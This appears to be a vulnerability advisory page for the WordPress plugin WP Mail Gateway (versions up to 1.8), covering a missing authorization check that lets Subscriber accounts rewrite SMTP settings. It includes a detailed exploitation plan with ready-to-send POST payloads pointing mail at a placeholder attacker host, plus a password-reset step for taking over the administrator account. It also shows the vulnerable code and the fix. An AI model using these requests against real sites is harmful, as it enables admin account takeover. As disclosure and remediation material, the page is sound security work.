WP Mail Gateway <= 1.8 - Missing Authorization to Authenticated (Subscriber+) SMTP Configuration Modification via 'wmg_save_provider_config' AJAX Action
Description
The WP Mail Gateway plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the wmg_save_provider_config AJAX action in all versions up to, and including, 1.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update SMTP settings and redirect mail which can be used for privilege escalation by triggering a password reset email and using that to access and administrator's account.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v1.8.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6963 (WP Mail Gateway) ## 1. Vulnerability Summary The **WP Mail Gateway** plugin for WordPress is vulnerable to unauthorized modification of SMTP and email gateway configurations. The vulnerability exists in the `wmg_save_provider_config` AJAX action, which …
Show full research plan
Exploitation Research Plan - CVE-2026-6963 (WP Mail Gateway)
1. Vulnerability Summary
The WP Mail Gateway plugin for WordPress is vulnerable to unauthorized modification of SMTP and email gateway configurations. The vulnerability exists in the wmg_save_provider_config AJAX action, which is registered to the wp_ajax_ hook but fails to implement any capability checks (e.g., current_user_can('manage_options')) or CSRF protection (nonces). Consequently, any authenticated user, including those with Subscriber privileges, can change the site's outgoing mail settings. This allows an attacker to redirect system emails—including password reset links—to an external server, leading to full administrative account takeover.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
wmg_save_provider_config - Authentication: Required (Subscriber level or higher)
- Parameters:
action:wmg_save_provider_configconfigs: A JSON-encoded string containing the provider configuration details.
- Preconditions:
- The attacker must have a valid login for a Subscriber account.
- The plugin must be active.
3. Code Flow
- Registration: In
src/Bootstrap.php, theload()function registers the AJAX action:
Note: Theadd_action( 'wp_ajax_wmg_save_provider_config', array( Functions::class, "saveProviderConfigAjax" ) );is_admin()check inload()evaluates to true duringadmin-ajax.phprequests. - Entry Point: The request reaches
ShahariaAzam\WPMailGateway\Functions::saveProviderConfigAjaxinsrc/Functions.php. - Missing Security Checks: The function immediately begins processing
$_POST['configs']without callingcurrent_user_can()orcheck_ajax_referer(). - Data Processing:
- It decodes the JSON:
$configs = json_decode(stripslashes($postData['configs']), true);. - It identifies the provider:
$gatewayProvider = $configs['provider'];. - It maps keys (e.g.,
smtp_host,smtp_port) to a$finalConfigsarray.
- It decodes the JSON:
- Persistence (Sink): Although the final
update_optioncall is truncated in the provided source, the context anddelete_optioncall inonDeletingPluginconfirm that the configuration is stored in the WordPressoptionstable using the key defined byWP_MAIL_GATEWAY_PLUGIN_OPTIONS_KEY.
4. Nonce Acquisition Strategy
Analysis of src/Functions.php (specifically loadPluginAdminPageStaticAssets and saveProviderConfigAjax) and assets/js/main.js confirms that no nonce is implemented for this action.
- The JS file
assets/js/main.jssends the request using a rawjQuery.ajaxcall without including a nonce parameter in thedataobject. - The PHP handler
saveProviderConfigAjaxdoes not contain anycheck_ajax_refererorwp_verify_noncecalls.
Conclusion: No nonce is required for exploitation.
5. Exploitation Strategy
The goal is to update the SMTP settings to point to an attacker-controlled listener to intercept a password reset email for the administrator.
Step 1: Prepare SMTP Payload
Construct a JSON object for the smtp provider.
{
"provider": "smtp",
"smtp_from_name": "WP Admin",
"smtp_from_email": "admin@target.com",
"smtp_host": "attacker-smtp-host.example.com",
"smtp_port": "587",
"smtp_encryption": "tls",
"smtp_username": "attacker_user",
"smtp_password": "attacker_password",
"smtp_auth": "true",
"smtp_active": "true"
}
Step 2: Send Modification Request
Use the http_request tool to send the POST request to admin-ajax.php as a Subscriber.
- URL:
http://[target]/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=wmg_save_provider_config&configs={"provider":"smtp","smtp_from_name":"Exploit","smtp_from_email":"admin@target.local","smtp_host":"[ATTACKER_IP]","smtp_port":"25","smtp_encryption":"","smtp_username":"","smtp_password":"","smtp_auth":"false","smtp_active":"true"}
Step 3: Trigger Password Reset
The attacker then triggers the standard WordPress password reset for the user with ID 1 (Administrator).
- URL:
http://[target]/wp-login.php?action=lostpassword - Body:
user_login=admin&redirect_to=&wp-submit=Get+New+Password
Step 4: Intercept and Escalate
The reset link will be sent via the attacker's SMTP server. The attacker uses the link to reset the admin password and gain full control.
6. Test Data Setup
- Install Plugin: Ensure WP Mail Gateway version 1.8 is installed and active.
- Target Admin: Create or identify an administrator account (usually user ID 1, username
admin). - Attacker Account: Create a user with the Subscriber role:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123 - Environment: Ensure the WordPress instance is configured to use the plugin's mailer (this usually happens automatically when a provider is marked "active" in the plugin).
7. Expected Results
- The AJAX request should return a JSON success response (e.g.,
{"success":true}). - Subsequent calls to
get_option()for the plugin's settings key (likelywp_mail_gateway_options) will return the attacker's SMTP details. - System emails will be routed through the attacker-defined SMTP host.
8. Verification Steps
After the HTTP exploit, verify the configuration change using WP-CLI:
# Check the saved options (the key is likely WP_MAIL_GATEWAY_PLUGIN_OPTIONS_KEY)
wp option get wp_mail_gateway_options
Verify that the gateway_provider -> smtp -> host matches the attacker's IP/host.
9. Alternative Approaches
If the smtp provider logic is complex, the attacker can use the Mailgun or Sendgrid provider blocks by providing their own API keys. This is equally effective for intercepting mail:
- Action:
wmg_save_provider_config - Configs:
{"provider":"mailgun","mailgun_from_name":"Exploit","mailgun_from_email":"admin@target.local","mailgun_api_key":"[ATTACKER_KEY]","mailgun_domain":"[ATTACKER_DOMAIN]","mailgun_active":"true"}
Summary
The WP Mail Gateway plugin for WordPress lacks authorization and CSRF checks in its 'wmg_save_provider_config' AJAX action, allowing authenticated users with Subscriber-level permissions or higher to modify the site's SMTP and email provider configurations. Attackers can exploit this to redirect system emails to an external server, enabling full administrative account takeover by intercepting password reset links.
Vulnerable Code
// src/Bootstrap.php line 49 add_action( 'wp_ajax_wmg_save_provider_config', array( Functions::class, "saveProviderConfigAjax" ) ); --- // src/Functions.php line 118 public static function saveProviderConfigAjax() { $postData = $_POST; $configs = json_decode(stripslashes($postData['configs']), true); $gatewayProvider = $configs['provider']; $finalConfigs = []; // ... processes config and updates options without current_user_can() or check_ajax_referer()
Security Fix
@@ -136,6 +136,7 @@ //Post config data to backend via Ajax var data = { 'action': 'wmg_save_provider_config', + 'nonce': wmgAjax.nonce, 'configs': JSON.stringify(configs) }; @@ -118,6 +118,13 @@ public static function saveProviderConfigAjax() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( [ 'message' => 'Unauthorized' ] ); + } + + check_ajax_referer( 'wmg_ajax_nonce', 'nonce' ); + $postData = $_POST; $configs = json_decode(stripslashes($postData['configs']), true);
Exploit Outline
1. Authenticate as a Subscriber-level user on the target WordPress site. 2. Construct a JSON payload containing malicious SMTP configuration (e.g., pointing to an attacker-controlled SMTP server) and set it as 'active'. 3. Send a POST request to `/wp-admin/admin-ajax.php` with the action 'wmg_save_provider_config' and the 'configs' parameter containing the JSON payload. No nonce or capability check will block this request. 4. Trigger a WordPress password reset for the 'admin' user via `/wp-login.php?action=lostpassword`. 5. Intercept the password reset email on the attacker-controlled SMTP server, click the reset link, and change the administrator's password to gain full access.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.